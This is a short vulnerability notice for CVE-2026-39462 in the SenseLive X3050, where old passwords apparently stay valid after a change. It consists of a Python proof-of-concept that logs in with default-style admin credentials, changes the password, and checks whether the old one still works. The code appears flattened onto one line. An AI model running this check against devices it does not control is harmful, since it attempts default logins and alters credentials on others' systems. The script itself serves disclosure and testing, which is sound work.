CVE-2026-39462 SenseLive X3050密码更新失效漏洞

import requests # Proof of Concept for CVE-2026-39462 # Description: Verifies if the old password remains valid after a password change attempt. target_url = "http://<target_ip>/api/login" change_pass_url = "http://<target_ip>/api/change_password" old_password = "admin123" # Default or previous password new_password = "newSecurePass!@#" username = "admin" session = requests.Session() # Step 1: Login with old password login_data = {"username": username, "password": old_password} r1 = session.post(target_url, data=login_data) print(f"Login attempt with old password (Before change): {r1.status_code}") if r1.status_code == 200: # Step 2: Attempt to change password update_data = {"old_password": old_password, "new_password": new_password} r2 = session.post(change_pass_url, data=update_data) print(f"Password change request status: {r2.status_code}") # Step 3: Create a new session to simulate a fresh login attempt new_session = requests.Session() r3 = new_session.post(target_url, data=login_data) if r3.status_code == 200: print("[VULNERABLE] Login with OLD password succeeded after update!") else: print("[NOT VULNERABLE] Login with old password failed.") # Verify new password works new_login_data = {"username": username, "password": new_password} r4 = new_session.post(target_url, data=new_login_data) if r4.status_code == 200: print("New password works as expected.")